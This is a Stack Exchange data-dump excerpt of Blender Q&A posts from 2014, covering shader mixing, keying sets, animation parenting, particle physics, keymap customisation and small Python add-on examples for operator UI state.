  <row Id="7627" PostTypeId="1" AcceptedAnswerId="7628" CreationDate="2014-03-08T18:07:25.113" Score="2" ViewCount="781" Body="&lt;p&gt;I'm trying to mix to shaders with the use of an alpha texture. I UV unwrapped the cube and adjusted the mapping but it still doesn't work.&#xA;On the top of the cube there should be a P with the Glossy Shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uz8aI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="2217" LastEditDate="2014-07-04T21:14:52.113" LastActivityDate="2014-07-04T21:14:52.113" Title="Using Alpha Textures doesn't work properly" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-10T15:35:47.403" ContentLicense="CC BY-SA 3.0" />
  <row Id="7628" PostTypeId="2" ParentId="7627" CreationDate="2014-03-08T18:19:09.480" Score="3" Body="&lt;p&gt;In your screen shot you plugged the &lt;code&gt;alpha&lt;/code&gt; channel from the image in the the &lt;code&gt;mix Shader&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just plug the color socket of the image texture in to the factor of the &lt;code&gt;mix Shader&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alpha channel of an image stores where the image is clear. The image in your question does not have an alpha channel, so it will be all white. If you used a &lt;code&gt;png&lt;/code&gt; with transparency in the image then you would use the alpha channel as the mix factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you change your image, delete all the black part so that it is clear. Then the alpha and color channels would be the same. White only where the letter &lt;code&gt;P&lt;/code&gt; is.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-03-08T18:26:10.107" LastActivityDate="2014-03-08T18:26:10.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7629" PostTypeId="2" ParentId="7626" CreationDate="2014-03-08T18:21:13.353" Score="4" Body="&lt;p&gt;For very rough cage, especially when using larger cage to control smaller target mesh, you need to set a higher value for &lt;em&gt;Precision&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, two ways to solve this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Try to scale down the cage object;&lt;/li&gt;&#xA;&lt;li&gt;Try to set a higher &lt;em&gt;Precision&lt;/em&gt; value in the Mesh Deform modifier panel. (&lt;strong&gt;&lt;code&gt;5&lt;/code&gt;&lt;/strong&gt; might be relatively appropriate for this particular case)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Normals on cage mesh are used to determine the inside/outside of the cage, so make sure they are pointing outside. Flip them if not.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The cage mesh has to be a closed mesh (manifold) to work well. When in &lt;strong&gt;Vertex&lt;/strong&gt; or &lt;strong&gt;Edge&lt;/strong&gt; selction mode, You can press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; to find the non-manifold edges.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-03-08T20:06:10.520" LastActivityDate="2014-03-08T20:06:10.520" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7630" PostTypeId="2" ParentId="7624" CreationDate="2014-03-08T18:51:09.000" Score="7" Body="&lt;p&gt;I think this way may meet your needs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mvIgV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See key settings marked in the image above, very intuitive I suppose.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-04-06T01:55:54.217" LastActivityDate="2015-04-06T01:55:54.217" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7631" PostTypeId="1" AcceptedAnswerId="7632" CreationDate="2014-03-08T20:08:40.913" Score="6" ViewCount="5272" Body="&lt;p&gt;Example: I want to press a button in the UI and have a label/list change to display below the button. Not on the Operator's F6/Redo panel, but once the Operator has been appended somewhere else in the UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So perhaps the question would be if it's possible to use the Operator's draw function somewhere else in the UI (appended or on it's own Panel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it can be done updating a global variable, then using it from the UI code, but I know globals a no-no in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="266" LastEditorUserId="1363" LastEditDate="2014-03-08T20:30:28.873" LastActivityDate="2021-05-22T09:40:06.097" Title="Python: Make an Operator update UI after executed" Tags="&lt;python&gt;&lt;interface&gt;&lt;operator&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7632" PostTypeId="2" ParentId="7631" CreationDate="2014-03-08T20:33:14.213" Score="7" Body="&lt;p&gt;You can use static members (class variables) to store information in the operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example that adds a panel and an operator. The operator increases a class variable to reflect how often it has been called. This number is drawn in a panel in the &lt;em&gt;Scene&lt;/em&gt; tab of the &lt;em&gt;Properties Edtior&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;scene&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        layout.operator(SimpleOperator.bl_idname)&#xA;        layout.label(str(SimpleOperator.run))&#xA;&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;&#xA;    run = 0&#xA;&#xA;    def execute(self, context):&#xA;        self.__class__.run += 1&#xA;        self.report({'INFO'}, str(self.__class__.run))&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-03-08T20:33:14.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7633" PostTypeId="1" AcceptedAnswerId="7652" CreationDate="2014-03-08T22:14:35.313" Score="2" ViewCount="11949" Body="&lt;p&gt;By default, Blender's particles don't have any spatial extension. This is fine as long as particles are rendered as halos. But if you give them a size and an appearance as object, it becomes obvious that they're able to go through each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What tricks can be pulled off to fix that problem?&#xA;For example, if you want to fill an area with houses, toss some leaves onto the floor, or just want charged balls to stick to each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware that a precise solution of this problem is very challenging -- but already some kind of approximation would do in most cases.&lt;/p&gt;&#xA;" OwnerUserId="2615" LastActivityDate="2014-10-06T01:56:57.443" Title="hard self collision: make particles occupy space" Tags="&lt;modeling&gt;&lt;particles&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7634" PostTypeId="2" ParentId="7631" CreationDate="2014-03-09T02:38:28.830" Score="5" Body="&lt;p&gt;The issue here is it sounds like you want to use globals, without using the &lt;code&gt;global&lt;/code&gt; keyword.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I'm concerned a global is a global - no matter what you call it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So don't trick yourself here, rather then identifying globals as &lt;strong&gt;bad&lt;/strong&gt;, just accept there are times when a state is global and try to do it in the least error-prone way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course try avoid these situations - but lets just assume you checked the alternatives and came to the conclusion some global state is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather then mixing global state in with existing classes, I prefer to explicitly define a class which stores state, especially if its shared between multiple functions/classes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Singleton for storing global state&#xA;class _MyState:&#xA;    __slots__ = (&#xA;        &quot;uploading&quot;,&#xA;        &quot;token_reload&quot;,&#xA;        &quot;size_text&quot;,&#xA;        )&#xA;&#xA; def __init__(self):&#xA;    self.uploading = False&#xA;    self.token_reload = True&#xA;    self.size_text = &quot;&quot;&#xA;&#xA;# One state to rule them all (otherwise known as a singleton)&#xA;my_state = _MyState()&#xA;del _MyState&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The advantage with using &lt;code&gt;__slots__&lt;/code&gt; is you clearly define whats global, and you can't accidentally assign some invalid var.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg, &lt;code&gt;.size_tetx = &quot;&quot;&lt;/code&gt; - will raise an error, with very large scripts allowing such mistakes to fail silently can loose your time debugging silly typos.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Heres an example of such a class used in the &lt;a href=&quot;https://developer.blender.org/diffusion/BA/browse/master/io_online_sketchfab/__init__.py;8ad356e3324cddef42d41f9b9b588ef1ebd2f8bf$73&quot; rel=&quot;nofollow&quot;&gt;Sketchfab addon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="3401" LastEditDate="2015-12-22T17:45:50.157" LastActivityDate="2015-12-22T17:45:50.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7635" PostTypeId="2" ParentId="7631" CreationDate="2014-03-09T03:00:25.833" Score="6" Body="&lt;p&gt;The question seems to assume that globals are needed, however an operator can store Python attributes in its instance, and using &lt;code&gt;draw&lt;/code&gt; and &lt;code&gt;check&lt;/code&gt; callbacks it can refresh the operator redo panel in a way the script author can control.&lt;/p&gt;&#xA;&lt;p&gt;Heres an example of how you can store some operator variables used in the UI without having to use globals.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import BoolProperty&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &amp;quot;&amp;quot;&amp;quot;Tooltip&amp;quot;&amp;quot;&amp;quot;&#xA;    bl_idname = &amp;quot;object.simple_operator&amp;quot;&#xA;    bl_label = &amp;quot;Simple Object Operator&amp;quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    toggle: BoolProperty(&#xA;        name=&amp;quot;MyToggle&amp;quot;,&#xA;    )&#xA;    use_count: BoolProperty(&#xA;        name=&amp;quot;Use Count&amp;quot;,&#xA;    )&#xA;&#xA;    def __init__(self):&#xA;        # notice this is a typical python attribute&#xA;        # which Blender doesn't know about (not from bpy.props)&#xA;        # no global's needed here, just an attribute instance.&#xA;        self.label_counter = 0&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.label(&amp;quot;Count %d&amp;quot; % self.label_counter)&#xA;        layout.prop(self, &amp;quot;toggle&amp;quot;)&#xA;        layout.prop(self, &amp;quot;use_count&amp;quot;)&#xA;&#xA;    def check(self, context):&#xA;        # should we redraw when a button is pressed?&#xA;        if self.use_count:&#xA;            return True&#xA;        return False&#xA;&#xA;    def execute(self, context):&#xA;        if self.use_count:&#xA;            self.label_counter += 1&#xA;            self.report({'INFO'}, &amp;quot;Count %d&amp;quot; % self.label_counter)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;&#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2021-05-22T04:25:12.597" LastActivityDate="2021-05-22T04:25:12.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7636" PostTypeId="1" AcceptedAnswerId="7644" CreationDate="2014-03-09T03:12:38.440" Score="14" ViewCount="13727" Body="&lt;p&gt;I'm having trouble finding a good, newbie friendly description of what a keying set is exactly and how it fits into the animation workflow. I first discovered keying sets when trying to add a keyframe to an armature and getting the error &quot;&lt;strong&gt;No active Keying Set&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This prompted me to search the wiki which only has a link pointing to the article &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Keying_Sets&quot;&gt;Animating in 2.5, Getting to grips with Keying Sets&lt;/a&gt;, which I found overly complex for a non power user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When and why do I have to use a keying set, and what is the purpose behind them?&lt;/p&gt;&#xA;" OwnerUserId="719" LastEditorUserId="1363" LastEditDate="2014-04-26T18:43:16.080" LastActivityDate="2014-04-26T18:43:16.080" Title="What is a keying set and how does it fit into the animation workflow?" Tags="&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7637" PostTypeId="1" AcceptedAnswerId="7772" CreationDate="2014-03-09T04:44:16.433" Score="2" ViewCount="875" Body="&lt;p&gt;I have a little floating robot character, it's just a sphere with an eye and 4 little &quot;nub&quot; sort of feet legs that extend from it's bottom. I want to do keyframe animation on the sphere, and have the little legs swing and bounce around (within limits on their movement), while attached to the sphere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some limit rotation constraints set up on them but I decided I want to just simulate them like a puppet's feet or something, instead of manually animating them. How can I achieve this? The sphere is not yet rigged and neither are the legs, will I need to rig them to do this? Or can I handle the little feet with physics and constraints alone? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried rigid and soft body and setting their parent empty as a constraint target but the feet just fall down infinitely when I bake the simulation. I've never tried to do simulations so I'm not sure where I should be looking to do this. Also at the base of my little feet I have a small colored ring from which they extend, this is animated using a lattice so that when the feet move, this little &quot;rubbery&quot; part deforms a bit as well, and if possible I'd like to preserve that in any simulation, though it's not that important and I could do without it. I should note that I've done a simple character similar to this before but that was without needing any physics.&lt;/p&gt;&#xA;" OwnerUserId="2734" LastEditorUserId="20" LastEditDate="2014-03-09T11:45:47.117" LastActivityDate="2014-03-15T01:09:09.170" Title="Rigid or soft body dummy legs?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7638" PostTypeId="1" AcceptedAnswerId="7641" CreationDate="2014-03-09T06:52:47.473" Score="2" ViewCount="1142" Body="&lt;p&gt;I don't want to change the geometry of the faces I want to connect to. I'm sure more seasoned 3D modellers have a simple way for this. Please enlighten!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the tutorials for joining cup handles to the cup they line up so it's not an issue. Another tutorial even extruded the start and end of the handle and then joined them in the middle. I don't think either would work here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the cross section:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fywvn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2019" LastEditorUserId="696" LastEditDate="2014-03-09T07:30:26.863" LastActivityDate="2014-03-09T07:55:06.430" Title="How to connect faces without intersection?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7639" PostTypeId="2" ParentId="7636" CreationDate="2014-03-09T06:54:08.217" Score="7" Body="&lt;p&gt;Keying Set is used for inserting/deleting keyframes for specific property channels on specific datablocks, without having to select them in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, there are some commonly-used keying sets listed at the right hand side of the header in &lt;strong&gt;Timeline&lt;/strong&gt; editor, such as &lt;em&gt;Location&lt;/em&gt;, &lt;em&gt;LotRot&lt;/em&gt;, &lt;em&gt;Available&lt;/em&gt;, etc. Once you add new keying sets from the &lt;em&gt;Keying Sets&lt;/em&gt; panel in &lt;strong&gt;Scene&lt;/strong&gt; tab, it can be displayed or used in the Timeline list, as well as in &lt;kbd&gt;I&lt;/kbd&gt; menu. In animation workflow, it is more effective when using with AutoKey feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After creating a keying set, a new &lt;em&gt;Active Keying Set&lt;/em&gt; panel will pop up below it for defining specific data path for certain targets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QW6HN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a datablock is keyable, you can see related items in context menu when right clicking on it, so that you can add/remove keying set easily:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AKuh4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-03-09T06:54:08.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7640" PostTypeId="2" ParentId="7638" CreationDate="2014-03-09T06:58:39.087" Score="1" Body="&lt;p&gt;Set another vertex in the middle of the lower edge of the right strip (use knifetool [k] for example) and also add maybe a ring cut [CRTL]-[r] to the other part than join the vertecies with the corresponding ones of the other part of the mesh [Alt]-[m].  &lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2014-03-09T06:58:39.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7641" PostTypeId="2" ParentId="7638" CreationDate="2014-03-09T07:19:01.660" Score="2" Body="&lt;p&gt;You can use &lt;strong&gt;Boolean&lt;/strong&gt; modifier to join them together. If the handle is in the same mesh of the cup body, just simply separate it as a new object by &lt;kbd&gt;P&lt;/kbd&gt;, then boolean the two object. You will get a final shape without intersection after apply it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7aPFu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; When using Boolean modifier, the intersection part has to be closed shape.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-03-09T07:55:06.430" LastActivityDate="2014-03-09T07:55:06.430" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7642" PostTypeId="1" AcceptedAnswerId="7643" CreationDate="2014-03-09T07:29:43.070" Score="1" ViewCount="4251" Body="&lt;p&gt;Blender doesn't render the cloth-simulation from the umbrella.&lt;br&gt;&#xA;&lt;a href=&quot;https://www.dropbox.com/s/b4n23dxch4qowp4/pool.blend&quot; rel=&quot;nofollow&quot;&gt;.blend-file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2735" LastEditorUserId="2217" LastEditDate="2015-08-11T16:51:24.927" LastActivityDate="2015-08-11T16:51:24.927" Title="Blender doesn't render the cloth-simulation" Tags="&lt;rendering&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-08-11T16:51:33.053" ContentLicense="CC BY-SA 3.0" />
  <row Id="7643" PostTypeId="2" ParentId="7642" CreationDate="2014-03-09T07:37:03.543" Score="2" Body="&lt;p&gt;It is caused by previous cache baking. You can press &lt;em&gt;Free All Bakes&lt;/em&gt; in the &lt;strong&gt;Cloth Cache&lt;/strong&gt; panel, then give it a try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Z5UH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-03-09T07:37:03.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7644" PostTypeId="2" ParentId="7636" CreationDate="2014-03-09T11:31:11.350" Score="16" Body="&lt;p&gt;A keying set is a collection of properties which should be keyed together. E.g. if you want to animate an object's position you need to set a start-keyframe of the initial location and an end-keyframe of the final position.  The position is described as x,y,z coordinate &lt;em&gt;Location&lt;/em&gt; is a keying-set that inserts x,y and z at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this image you see (&lt;em&gt;Dope Sheet&lt;/em&gt; in the upper part) a location keyed for frame 1 and rotation for frame 2 both were inserted by pressing &lt;kbd&gt;I&lt;/kbd&gt; and selecting &lt;em&gt;Location&lt;/em&gt; respectively &lt;em&gt;Rotation&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jwcoq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the object should also rotate you can user &lt;em&gt;LocRot&lt;/em&gt; to insert location and rotation at once. The other features described by Leon cover arbitrary properties (almost everything can be animated in blender). Later you might want to animate color, transparency of a material then you would need to learn more about it. For the time being this should provide you a basic idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://blender.stackexchange.com/questions/6763/what-do-the-preferences-keyframing-options-actually-mean&quot;&gt;What do the preferences keyframing options actually mean?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-03-09T11:31:11.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7645" PostTypeId="2" ParentId="7637" CreationDate="2014-03-09T12:20:39.950" Score="2" Body="&lt;p&gt;I think you mean you want the children objects (i.e. the legs) to follow the parent in a delayed way like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0nmQV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do so:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Parent the feet to the body.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under &lt;em&gt;Relations Extras&lt;/em&gt; in the &lt;em&gt;Object Settings&lt;/em&gt;, check the &lt;em&gt;Slow Parent&lt;/em&gt; checkbox and set the &lt;em&gt;Offset&lt;/em&gt; to 10.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vsDuV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This next step is optional, but if you want to prevent the feet from ever getting farther than a few units away from the body, you can add a &lt;em&gt;Limit Distance&lt;/em&gt; constraint. Go to the constraints tab, add a &lt;em&gt;Limit Distance&lt;/em&gt; constraint, set the distance to something around 4.0 units and set the target to the parent object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mRVed.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-03-09T12:20:39.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7646" PostTypeId="2" ParentId="7612" CreationDate="2014-03-09T13:34:17.570" Score="1" Body="&lt;p&gt;In the node editor, you just have to plug the input of &lt;code&gt;Composite&lt;/code&gt; node into the &lt;code&gt;Add&lt;/code&gt; node output :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OtWYD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-03-09T13:34:17.570" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7647" PostTypeId="1" CreationDate="2014-03-09T13:41:17.160" Score="5" ViewCount="3684" Body="&lt;p&gt;I would like to try out the new SheepIt renderfarm service with a short film I'm making. The problem is, my short film makes use of the Cookie Flex Rig (&lt;a href=&quot;http://www.blendswap.com/blends/view/61707&quot; rel=&quot;nofollow&quot;&gt;http://www.blendswap.com/blends/view/61707&lt;/a&gt;). Everytime I open the file on my machine, I have to set 'Reload trusted' to see the characters as the rig uses a lot of python code. However, it appears the renderfarm doesn't ignores this and renders without 'Reload trusted' which resulted in weird artifacts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about making my blend file open without the 'Reload trusted' popping up? I've tried the f-curve version fix, removing rigify ui python code, and still get the 'Reload trusted'.&lt;/p&gt;&#xA;" OwnerUserId="2228" LastEditorUserId="12" LastEditDate="2014-03-09T15:56:35.587" LastActivityDate="2014-03-09T15:56:35.587" Title="How to remove the 'Reload trusted' button when opening blend file" Tags="&lt;python&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7648" PostTypeId="2" ParentId="7647" CreationDate="2014-03-09T13:58:25.760" Score="8" Body="&lt;p&gt;Have you tried activating &quot;Auto Run Python Scripts&quot; in the user prefs?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kzPSG.png&quot; alt=&quot;Auto Run Python Scripts Setting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting this option, removed the &quot;Reload Trusted&quot; button whilst using add ons for me.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-03-09T13:58:25.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7650" PostTypeId="1" AcceptedAnswerId="7651" CreationDate="2014-03-09T15:30:26.247" Score="20" ViewCount="8581" Body="&lt;p&gt;Where might this entry reside in the User Preferences &gt; Input list? I would like to assign it to a key (using ver 2.69)&lt;/p&gt;&#xA;" OwnerUserId="2633" LastEditorUserId="12" LastEditDate="2014-03-09T15:55:25.553" LastActivityDate="2019-02-23T20:52:42.693" Title="Assign a shortcut to &quot;Limit selection to visible&quot; toggle" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7651" PostTypeId="2" ParentId="7650" CreationDate="2014-03-09T15:51:01.003" Score="31" Body="&lt;p&gt;This is not available by default in preferences but you can add it manually. Open your &lt;a href=&quot;https://www.blender.org/manual/preferences/introduction.html#open-user-preferences&quot;&gt;user preferences&lt;/a&gt; and go to the &lt;em&gt;Input&lt;/em&gt; tab, toggle &lt;em&gt;3D View&lt;/em&gt; and then &lt;em&gt;Mesh&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JYjGU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scroll to the bottom where you will see a button that says &lt;em&gt;Add new&lt;/em&gt;. For the identifier, enter &lt;code&gt;wm.context_toggle&lt;/code&gt; and for the &lt;em&gt;Context Attributes&lt;/em&gt; enter &lt;code&gt;space_data.use_occlude_geometry&lt;/code&gt;, next assign a key combination to it and save your user settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wFDdD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="3710" LastEditDate="2015-11-17T15:01:47.570" LastActivityDate="2015-11-17T15:01:47.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7652" PostTypeId="2" ParentId="7633" CreationDate="2014-03-09T19:44:38.963" Score="4" Body="&lt;p&gt;one partial and approximate solution is to use the harmonic forces as a self-effect on the particle system. Here, &quot;harmonic forces&quot; means to turn the particles into a set of oscillators, connected by virtual springs. The rest distance is the distance we want to keep between objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key point to note is that this now adds an attraction for particles spaced wider than the rest distance, and that it might lead to wobbling. The latter can be controlled with a high damping factor (at or close to 1 gives us &quot;acyclic damping&quot;). To control the former, judicious use of the maximum distance and the strength and power of the force field is necessary. The result can be further improved by use of charged particles (so they repulse each other) and maybe combine that with invisible, charged objects as external attractors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Downside of this approach is that the self effect on particles is limited to two forces and that getting the right behaviour can be tricky and insidious.&#xA;But the largest shortcoming is that there seems to be no way to tie the rest distance to the actual size of the particles, which might vary randomly&lt;/p&gt;&#xA;" OwnerUserId="2615" LastActivityDate="2014-03-09T19:44:38.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
